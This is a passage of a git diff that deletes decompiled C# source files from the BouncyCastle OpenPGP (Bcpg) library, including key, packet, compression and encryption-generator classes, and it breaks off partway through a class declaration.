this.y = new MPInteger(y); - } - - public override byte[] GetEncoded() - { - try - { - return base.GetEncoded(); - } - catch (Exception) - { - return null; - } - } - - public override void Encode(BcpgOutputStream bcpgOut) - { - bcpgOut.WriteObjects(p, q, g, y); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/DsaSecretBcpgKey.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/DsaSecretBcpgKey.cs deleted file mode 100644 index 0dab8b8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/DsaSecretBcpgKey.cs +++ /dev/null @@ -1,40 +0,0 @@ -using System; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Bcpg; - -public class DsaSecretBcpgKey : BcpgObject, IBcpgKey -{ - internal MPInteger x; - - public string Format => "PGP"; - - public BigInteger X => x.Value; - - public DsaSecretBcpgKey(BcpgInputStream bcpgIn) - { - x = new MPInteger(bcpgIn); - } - - public DsaSecretBcpgKey(BigInteger x) - { - this.x = new MPInteger(x); - } - - public override byte[] GetEncoded() - { - try - { - return base.GetEncoded(); - } - catch (Exception) - { - return null; - } - } - - public override void Encode(BcpgOutputStream bcpgOut) - { - bcpgOut.WriteObject(x); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ECDHPublicBcpgKey.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ECDHPublicBcpgKey.cs deleted file mode 100644 index c081da2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ECDHPublicBcpgKey.cs +++ /dev/null @@ -1,80 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Math.EC; - -namespace Org.BouncyCastle.Bcpg; - -public class ECDHPublicBcpgKey : ECPublicBcpgKey -{ - private byte reserved; - - private HashAlgorithmTag hashFunctionId; - - private SymmetricKeyAlgorithmTag symAlgorithmId; - - public virtual byte Reserved => reserved; - - public virtual HashAlgorithmTag HashAlgorithm => hashFunctionId; - - public virtual SymmetricKeyAlgorithmTag SymmetricKeyAlgorithm => symAlgorithmId; - - public ECDHPublicBcpgKey(BcpgInputStream bcpgIn) - : base(bcpgIn) - { - int num = bcpgIn.ReadByte(); - byte[] array = new byte[num]; - if (array.Length != 3) - { - throw new InvalidOperationException("kdf parameters size of 3 expected."); - } - bcpgIn.ReadFully(array); - reserved = array[0]; - hashFunctionId = (HashAlgorithmTag)array[1]; - symAlgorithmId = (SymmetricKeyAlgorithmTag)array[2]; - VerifyHashAlgorithm(); - VerifySymmetricKeyAlgorithm(); - } - - public ECDHPublicBcpgKey(DerObjectIdentifier oid, ECPoint point, HashAlgorithmTag hashAlgorithm, SymmetricKeyAlgorithmTag symmetricKeyAlgorithm) - : base(oid, point) - { - reserved = 1; - hashFunctionId = hashAlgorithm; - symAlgorithmId = symmetricKeyAlgorithm; - VerifyHashAlgorithm(); - VerifySymmetricKeyAlgorithm(); - } - - public override void Encode(BcpgOutputStream bcpgOut) - { - base.Encode(bcpgOut); - bcpgOut.WriteByte(3); - bcpgOut.WriteByte(reserved); - bcpgOut.WriteByte((byte)hashFunctionId); - bcpgOut.WriteByte((byte)symAlgorithmId); - } - - private void VerifyHashAlgorithm() - { - switch (hashFunctionId) - { - case HashAlgorithmTag.Sha256: - case HashAlgorithmTag.Sha384: - case HashAlgorithmTag.Sha512: - return; - } - throw new InvalidOperationException("Hash algorithm must be SHA-256 or stronger."); - } - - private void VerifySymmetricKeyAlgorithm() - { - switch (symAlgorithmId) - { - case SymmetricKeyAlgorithmTag.Aes128: - case SymmetricKeyAlgorithmTag.Aes192: - case SymmetricKeyAlgorithmTag.Aes256: - return; - } - throw new InvalidOperationException("Symmetric key algorithm must be AES-128 or stronger."); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ECDsaPublicBcpgKey.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ECDsaPublicBcpgKey.cs deleted file mode 100644 index ef3b5af..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ECDsaPublicBcpgKey.cs +++ /dev/null @@ -1,23 +0,0 @@ -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; - -namespace Org.BouncyCastle.Bcpg; - -public class ECDsaPublicBcpgKey : ECPublicBcpgKey -{ - protected internal ECDsaPublicBcpgKey(BcpgInputStream bcpgIn) - : base(bcpgIn) - { - } - - public ECDsaPublicBcpgKey(DerObjectIdentifier oid, ECPoint point) - : base(oid, point) - { - } - - public ECDsaPublicBcpgKey(DerObjectIdentifier oid, BigInteger encodedPoint) - : base(oid, encodedPoint) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ECPublicBcpgKey.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ECPublicBcpgKey.cs deleted file mode 100644 index 236e3ee..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ECPublicBcpgKey.cs +++ /dev/null @@ -1,71 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; - -namespace Org.BouncyCastle.Bcpg; - -public abstract class ECPublicBcpgKey : BcpgObject, IBcpgKey -{ - internal DerObjectIdentifier oid; - - internal BigInteger point; - - public string Format => "PGP"; - - public virtual BigInteger EncodedPoint => point; - - public virtual DerObjectIdentifier CurveOid => oid; - - protected ECPublicBcpgKey(BcpgInputStream bcpgIn) - { - oid = DerObjectIdentifier.GetInstance(Asn1Object.FromByteArray(ReadBytesOfEncodedLength(bcpgIn))); - point = new MPInteger(bcpgIn).Value; - } - - protected ECPublicBcpgKey(DerObjectIdentifier oid, ECPoint point) - { - this.point = new BigInteger(1, point.GetEncoded(compressed: false)); - this.oid = oid; - } - - protected ECPublicBcpgKey(DerObjectIdentifier oid, BigInteger encodedPoint) - { - point = encodedPoint; - this.oid = oid; - } - - public override byte[] GetEncoded() - { - try - { - return base.GetEncoded(); - } - catch (IOException) - { - return null; - } - } - - public override void Encode(BcpgOutputStream bcpgOut) - { - byte[] encoded = oid.GetEncoded(); - bcpgOut.Write(encoded, 1, encoded.Length - 1); - MPInteger bcpgObject = new MPInteger(point); - bcpgOut.WriteObject(bcpgObject); - } - - protected static byte[] ReadBytesOfEncodedLength(BcpgInputStream bcpgIn) - { - int num = bcpgIn.ReadByte(); - if (num == 0 || num == 255) - { - throw new IOException("future extensions not yet implemented."); - } - byte[] array = new byte[num + 2]; - bcpgIn.ReadFully(array, 2, array.Length - 2); - array[0] = 6; - array[1] = (byte)num; - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ECSecretBcpgKey.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ECSecretBcpgKey.cs deleted file mode 100644 index 4050247..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ECSecretBcpgKey.cs +++ /dev/null @@ -1,40 +0,0 @@ -using System; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Bcpg; - -public class ECSecretBcpgKey : BcpgObject, IBcpgKey -{ - internal MPInteger x; - - public string Format => "PGP"; - - public virtual BigInteger X => x.Value; - - public ECSecretBcpgKey(BcpgInputStream bcpgIn) - { - x = new MPInteger(bcpgIn); - } - - public ECSecretBcpgKey(BigInteger x) - { - this.x = new MPInteger(x); - } - - public override byte[] GetEncoded() - { - try - { - return base.GetEncoded(); - } - catch (Exception) - { - return null; - } - } - - public override void Encode(BcpgOutputStream bcpgOut) - { - bcpgOut.WriteObject(x); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ElGamalPublicBcpgKey.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ElGamalPublicBcpgKey.cs deleted file mode 100644 index 49effaf..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ElGamalPublicBcpgKey.cs +++ /dev/null @@ -1,52 +0,0 @@ -using System; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Bcpg; - -public class ElGamalPublicBcpgKey : BcpgObject, IBcpgKey -{ - internal MPInteger p; - - internal MPInteger g; - - internal MPInteger y; - - public string Format => "PGP"; - - public BigInteger P => p.Value; - - public BigInteger G => g.Value; - - public BigInteger Y => y.Value; - - public ElGamalPublicBcpgKey(BcpgInputStream bcpgIn) - { - p = new MPInteger(bcpgIn); - g = new MPInteger(bcpgIn); - y = new MPInteger(bcpgIn); - } - - public ElGamalPublicBcpgKey(BigInteger p, BigInteger g, BigInteger y) - { - this.p = new MPInteger(p); - this.g = new MPInteger(g); - this.y = new MPInteger(y); - } - - public override byte[] GetEncoded() - { - try - { - return base.GetEncoded(); - } - catch (Exception) - { - return null; - } - } - - public override void Encode(BcpgOutputStream bcpgOut) - { - bcpgOut.WriteObjects(p, g, y); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ElGamalSecretBcpgKey.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ElGamalSecretBcpgKey.cs deleted file mode 100644 index 9b38c42..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ElGamalSecretBcpgKey.cs +++ /dev/null @@ -1,40 +0,0 @@ -using System; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Bcpg; - -public class ElGamalSecretBcpgKey : BcpgObject, IBcpgKey -{ - internal MPInteger x; - - public string Format => "PGP"; - - public BigInteger X => x.Value; - - public ElGamalSecretBcpgKey(BcpgInputStream bcpgIn) - { - x = new MPInteger(bcpgIn); - } - - public ElGamalSecretBcpgKey(BigInteger x) - { - this.x = new MPInteger(x); - } - - public override byte[] GetEncoded() - { - try - { - return base.GetEncoded(); - } - catch (Exception) - { - return null; - } - } - - public override void Encode(BcpgOutputStream bcpgOut) - { - bcpgOut.WriteObject(x); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ExperimentalPacket.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ExperimentalPacket.cs deleted file mode 100644 index 6bdb7b2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ExperimentalPacket.cs +++ /dev/null @@ -1,26 +0,0 @@ -namespace Org.BouncyCastle.Bcpg; - -public class ExperimentalPacket : ContainedPacket -{ - private readonly PacketTag tag; - - private readonly byte[] contents; - - public PacketTag Tag => tag; - - internal ExperimentalPacket(PacketTag tag, BcpgInputStream bcpgIn) - { - this.tag = tag; - contents = bcpgIn.ReadAll(); - } - - public byte[] GetContents() - { - return (byte[])contents.Clone(); - } - - public override void Encode(BcpgOutputStream bcpgOut) - { - bcpgOut.WritePacket(tag, contents, oldFormat: true); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/HashAlgorithmTag.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/HashAlgorithmTag.cs deleted file mode 100644 index c39498f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/HashAlgorithmTag.cs +++ /dev/null @@ -1,16 +0,0 @@ -namespace Org.BouncyCastle.Bcpg; - -public enum HashAlgorithmTag -{ - MD5 = 1, - Sha1, - RipeMD160, - DoubleSha, - MD2, - Tiger192, - Haval5pass160, - Sha256, - Sha384, - Sha512, - Sha224 -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/IBcpgKey.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/IBcpgKey.cs deleted file mode 100644 index 038bed5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/IBcpgKey.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Bcpg; - -public interface IBcpgKey -{ - string Format { get; } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/InputStreamPacket.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/InputStreamPacket.cs deleted file mode 100644 index c89ea00..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/InputStreamPacket.cs +++ /dev/null @@ -1,16 +0,0 @@ -namespace Org.BouncyCastle.Bcpg; - -public class InputStreamPacket : Packet -{ - private readonly BcpgInputStream bcpgIn; - - public InputStreamPacket(BcpgInputStream bcpgIn) - { - this.bcpgIn = bcpgIn; - } - - public BcpgInputStream GetInputStream() - { - return bcpgIn; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/LiteralDataPacket.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/LiteralDataPacket.cs deleted file mode 100644 index 4453789..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/LiteralDataPacket.cs +++ /dev/null @@ -1,42 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Bcpg; - -public class LiteralDataPacket : InputStreamPacket -{ - private int format; - - private byte[] fileName; - - private long modDate; - - public int Format => format; - - public long ModificationTime => modDate; - - public string FileName => Strings.FromUtf8ByteArray(fileName); - - internal LiteralDataPacket(BcpgInputStream bcpgIn) - : base(bcpgIn) - { - format = bcpgIn.ReadByte(); - int num = bcpgIn.ReadByte(); - fileName = new byte[num]; - for (int i = 0; i != num; i++) - { - int num2 = bcpgIn.ReadByte(); - if (num2 < 0) - { - throw new IOException("literal data truncated in header"); - } - fileName[i] = (byte)num2; - } - modDate = (long)(uint)((bcpgIn.ReadByte() << 24) | (bcpgIn.ReadByte() << 16) | (bcpgIn.ReadByte() << 8) | bcpgIn.ReadByte()) * 1000L; - } - - public byte[] GetRawFileName() - { - return Arrays.Clone(fileName); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/MPInteger.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/MPInteger.cs deleted file mode 100644 index bb21394..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/MPInteger.cs +++ /dev/null @@ -1,48 +0,0 @@ -using System; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Bcpg; - -public class MPInteger : BcpgObject -{ - private readonly BigInteger val; - - public BigInteger Value => val; - - public MPInteger(BcpgInputStream bcpgIn) - { - if (bcpgIn == null) - { - throw new ArgumentNullException("bcpgIn"); - } - int num = (bcpgIn.ReadByte() << 8) | bcpgIn.ReadByte(); - byte[] array = new byte[(num + 7) / 8]; - bcpgIn.ReadFully(array); - val = new BigInteger(1, array); - } - - public MPInteger(BigInteger val) - { - if (val == null) - { - throw new ArgumentNullException("val"); - } - if (val.SignValue < 0) - { - throw new ArgumentException("Values must be positive", "val"); - } - this.val = val; - } - - public override void Encode(BcpgOutputStream bcpgOut) - { - bcpgOut.WriteShort((short)val.BitLength); - bcpgOut.Write(val.ToByteArrayUnsigned()); - } - - internal static void Encode(BcpgOutputStream bcpgOut, BigInteger val) - { - bcpgOut.WriteShort((short)val.BitLength); - bcpgOut.Write(val.ToByteArrayUnsigned()); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/MarkerPacket.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/MarkerPacket.cs deleted file mode 100644 index d7b25cf..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/MarkerPacket.cs +++ /dev/null @@ -1,16 +0,0 @@ -namespace Org.BouncyCastle.Bcpg; - -public class MarkerPacket : ContainedPacket -{ - private byte[] marker = new byte[3] { 80, 71, 80 }; - - public MarkerPacket(BcpgInputStream bcpgIn) - { - bcpgIn.ReadFully(marker); - } - - public override void Encode(BcpgOutputStream bcpgOut) - { - bcpgOut.WritePacket(PacketTag.Marker, marker, oldFormat: true); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ModDetectionCodePacket.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ModDetectionCodePacket.cs deleted file mode 100644 index a0fba8d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/ModDetectionCodePacket.cs +++ /dev/null @@ -1,37 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Bcpg; - -public class ModDetectionCodePacket : ContainedPacket -{ - private readonly byte[] digest; - - internal ModDetectionCodePacket(BcpgInputStream bcpgIn) - { - if (bcpgIn == null) - { - throw new ArgumentNullException("bcpgIn"); - } - digest = new byte[20]; - bcpgIn.ReadFully(digest); - } - - public ModDetectionCodePacket(byte[] digest) - { - if (digest == null) - { - throw new ArgumentNullException("digest"); - } - this.digest = (byte[])digest.Clone(); - } - - public byte[] GetDigest() - { - return (byte[])digest.Clone(); - } - - public override void Encode(BcpgOutputStream bcpgOut) - { - bcpgOut.WritePacket(PacketTag.ModificationDetectionCode, digest, oldFormat: false); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OnePassSignaturePacket.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OnePassSignaturePacket.cs deleted file mode 100644 index c8469a0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OnePassSignaturePacket.cs +++ /dev/null @@ -1,63 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Bcpg; - -public class OnePassSignaturePacket : ContainedPacket -{ - private int version; - - private int sigType; - - private HashAlgorithmTag hashAlgorithm; - - private PublicKeyAlgorithmTag keyAlgorithm; - - private long keyId; - - private int nested; - - public int SignatureType => sigType; - - public PublicKeyAlgorithmTag KeyAlgorithm => keyAlgorithm; - - public HashAlgorithmTag HashAlgorithm => hashAlgorithm; - - public long KeyId => keyId; - - internal OnePassSignaturePacket(BcpgInputStream bcpgIn) - { - version = bcpgIn.ReadByte(); - sigType = bcpgIn.ReadByte(); - hashAlgorithm = (HashAlgorithmTag)bcpgIn.ReadByte(); - keyAlgorithm = (PublicKeyAlgorithmTag)bcpgIn.ReadByte(); - keyId |= (long)bcpgIn.ReadByte() << 56; - keyId |= (long)bcpgIn.ReadByte() << 48; - keyId |= (long)bcpgIn.ReadByte() << 40; - keyId |= (long)bcpgIn.ReadByte() << 32; - keyId |= (long)bcpgIn.ReadByte() << 24; - keyId |= (long)bcpgIn.ReadByte() << 16; - keyId |= (long)bcpgIn.ReadByte() << 8; - keyId |= (uint)bcpgIn.ReadByte(); - nested = bcpgIn.ReadByte(); - } - - public OnePassSignaturePacket(int sigType, HashAlgorithmTag hashAlgorithm, PublicKeyAlgorithmTag keyAlgorithm, long keyId, bool isNested) - { - version = 3; - this.sigType = sigType; - this.hashAlgorithm = hashAlgorithm; - this.keyAlgorithm = keyAlgorithm; - this.keyId = keyId; - nested = ((!isNested) ? 1 : 0); - } - - public override void Encode(BcpgOutputStream bcpgOut) - { - MemoryStream memoryStream = new MemoryStream(); - BcpgOutputStream bcpgOutputStream = new BcpgOutputStream(memoryStream); - bcpgOutputStream.Write((byte)version, (byte)sigType, (byte)hashAlgorithm, (byte)keyAlgorithm); - bcpgOutputStream.WriteLong(keyId); - bcpgOutputStream.WriteByte((byte)nested); - bcpgOut.WritePacket(PacketTag.OnePassSignature, memoryStream.ToArray(), oldFormat: true); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/IStreamGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/IStreamGenerator.cs deleted file mode 100644 index 1361ef4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/IStreamGenerator.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public interface IStreamGenerator -{ - void Close(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpCompressedData.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpCompressedData.cs deleted file mode 100644 index 4c69230..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpCompressedData.cs +++ /dev/null @@ -1,34 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Apache.Bzip2; -using Org.BouncyCastle.Utilities.Zlib; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpCompressedData : PgpObject -{ - private readonly CompressedDataPacket data; - - public CompressionAlgorithmTag Algorithm => data.Algorithm; - - public PgpCompressedData(BcpgInputStream bcpgInput) - { - data = (CompressedDataPacket)bcpgInput.ReadPacket(); - } - - public Stream GetInputStream() - { - return data.GetInputStream(); - } - - public Stream GetDataStream() - { - return Algorithm switch - { - CompressionAlgorithmTag.Uncompressed => GetInputStream(), - CompressionAlgorithmTag.Zip => new ZInputStream(GetInputStream(), nowrap: true), - CompressionAlgorithmTag.ZLib => new ZInputStream(GetInputStream()), - CompressionAlgorithmTag.BZip2 => new CBZip2InputStream(GetInputStream()), - _ => throw new PgpException("can't recognise compression algorithm: " + Algorithm), - }; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpCompressedDataGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpCompressedDataGenerator.cs deleted file mode 100644 index 6f169d0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpCompressedDataGenerator.cs +++ /dev/null @@ -1,154 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Apache.Bzip2; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Zlib; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpCompressedDataGenerator : IStreamGenerator -{ - private class SafeCBZip2OutputStream : CBZip2OutputStream - { - public SafeCBZip2OutputStream(Stream output) - : base(output) - { - } - - public override void Close() - { - Finish(); - } - } - - private class SafeZOutputStream : ZOutputStream - { - public SafeZOutputStream(Stream output, int level, bool nowrap) - : base(output, level, nowrap) - { - } - - public override void Close() - { - Finish(); - End(); - } - } - - private readonly CompressionAlgorithmTag algorithm; - - private readonly int compression; - - private Stream dOut; - - private BcpgOutputStream pkOut; - - public PgpCompressedDataGenerator(CompressionAlgorithmTag algorithm) - : this(algorithm, -1) - { - } - - public PgpCompressedDataGenerator(CompressionAlgorithmTag algorithm, int compression) - { - switch (algorithm) - { - default: - throw new ArgumentException("unknown compression algorithm", "algorithm"); - case CompressionAlgorithmTag.Uncompressed: - case CompressionAlgorithmTag.Zip: - case CompressionAlgorithmTag.ZLib: - case CompressionAlgorithmTag.BZip2: - switch (compression) - { - default: - throw new ArgumentException("unknown compression level: " + compression); - case -1: - case 0: - case 1: - case 2: - case 3: - case 4: - case 5: - case 6: - case 7: - case 8: - case 9: - this.algorithm = algorithm; - this.compression = compression; - break; - } - break; - } - } - - public Stream Open(Stream outStr) - { - if (dOut != null) - { - throw new InvalidOperationException("generator already in open state"); - } - if (outStr == null) - { - throw new ArgumentNullException("outStr"); - } - pkOut = new BcpgOutputStream(outStr, PacketTag.CompressedData); - doOpen(); - return new WrappedGeneratorStream(this, dOut); - } - - public Stream Open(Stream outStr, byte[] buffer) - { - if (dOut != null) - { - throw new InvalidOperationException("generator already in open state"); - } - if (outStr == null) - { - throw new ArgumentNullException("outStr"); - } - if (buffer == null) - { - throw new ArgumentNullException("buffer"); - } - pkOut = new BcpgOutputStream(outStr, PacketTag.CompressedData, buffer); - doOpen(); - return new WrappedGeneratorStream(this, dOut); - } - - private void doOpen() - { - pkOut.WriteByte((byte)algorithm); - switch (algorithm) - { - case CompressionAlgorithmTag.Uncompressed: - dOut = pkOut; - break; - case CompressionAlgorithmTag.Zip: - dOut = new SafeZOutputStream(pkOut, compression, nowrap: true); - break; - case CompressionAlgorithmTag.ZLib: - dOut = new SafeZOutputStream(pkOut, compression, nowrap: false); - break; - case CompressionAlgorithmTag.BZip2: - dOut = new SafeCBZip2OutputStream(pkOut); - break; - default: - throw new InvalidOperationException(); - } - } - - public void Close() - { - if (dOut != null) - { - if (dOut != pkOut) - { - Platform.Dispose(dOut); - } - dOut = null; - pkOut.Finish(); - pkOut.Flush(); - pkOut = null; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpDataValidationException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpDataValidationException.cs deleted file mode 100644 index 8652019..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpDataValidationException.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -[Serializable] -public class PgpDataValidationException : PgpException -{ - public PgpDataValidationException() - { - } - - public PgpDataValidationException(string message) - : base(message) - { - } - - public PgpDataValidationException(string message, Exception exception) - : base(message, exception) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpEncryptedData.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpEncryptedData.cs deleted file mode 100644 index 4c8105b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpEncryptedData.cs +++ /dev/null @@ -1,133 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.IO; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public abstract class PgpEncryptedData -{ - internal class TruncatedStream : BaseInputStream - { - private const int LookAheadSize = 22; - - private const int LookAheadBufSize = 512; - - private const int LookAheadBufLimit = 490; - - private readonly Stream inStr; - - private readonly byte[] lookAhead = new byte[512]; - - private int bufStart; - - private int bufEnd; - - internal TruncatedStream(Stream inStr) - { - int num = Streams.ReadFully(inStr, lookAhead, 0, lookAhead.Length); - if (num < 22) - { - throw new EndOfStreamException(); - } - this.inStr = inStr; - bufStart = 0; - bufEnd = num - 22; - } - - private int FillBuffer() - { - if (bufEnd < 490) - { - return 0; - } - Array.Copy(lookAhead, 490, lookAhead, 0, 22); - bufEnd = Streams.ReadFully(inStr, lookAhead, 22, 490); - bufStart = 0; - return bufEnd; - } - - public override int ReadByte() - { - if (bufStart < bufEnd) - { - return lookAhead[bufStart++]; - } - if (FillBuffer() < 1) - { - return -1; - } - return lookAhead[bufStart++]; - } - - public override int Read(byte[] buf, int off, int len) - { - int num = bufEnd - bufStart; - int num2 = off; - while (len > num) - { - Array.Copy(lookAhead, bufStart, buf, num2, num); - bufStart += num; - num2 += num; - len -= num; - if ((num = FillBuffer()) < 1) - { - return num2 - off; - } - } - Array.Copy(lookAhead, bufStart, buf, num2, len); - bufStart += len; - return num2 + len - off; - } - - internal byte[] GetLookAhead() - { - byte[] array = new byte[22]; - Array.Copy(lookAhead, bufStart, array, 0, 22); - return array; - } - } - - internal InputStreamPacket encData; - - internal Stream encStream; - - internal TruncatedStream truncStream; - - internal PgpEncryptedData(InputStreamPacket encData) - { - this.encData = encData; - } - - public virtual Stream GetInputStream() - { - return encData.GetInputStream(); - } - - public bool IsIntegrityProtected() - { - return encData is SymmetricEncIntegrityPacket; - } - - public bool Verify() - { - if (!IsIntegrityProtected()) - { - throw new PgpException("data not integrity protected."); - } - DigestStream digestStream = (DigestStream)encStream; - while (encStream.ReadByte() >= 0) - { - } - byte[] lookAhead = truncStream.GetLookAhead(); - IDigest digest = digestStream.ReadDigest(); - digest.BlockUpdate(lookAhead, 0, 2); - byte[] array = DigestUtilities.DoFinal(digest); - byte[] array2 = new byte[array.Length]; - Array.Copy(lookAhead, 2, array2, 0, array2.Length); - return Arrays.ConstantTimeAreEqual(array, array2); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpEncryptedDataGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpEncryptedDataGenerator.cs deleted file mode 100644 index cf5c696..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpEncryptedDataGenerator.cs +++ /dev/null @@ -1,423 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.IO; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpEncryptedDataGenerator : IStreamGenerator -{ - private abstract class EncMethod : ContainedPacket - { - protected byte[] sessionInfo; - - protected SymmetricKeyAlgorithmTag encAlgorithm; - - protected KeyParameter key; - - public abstract void AddSessionInfo(byte[] si, SecureRandom random); - } - - private class 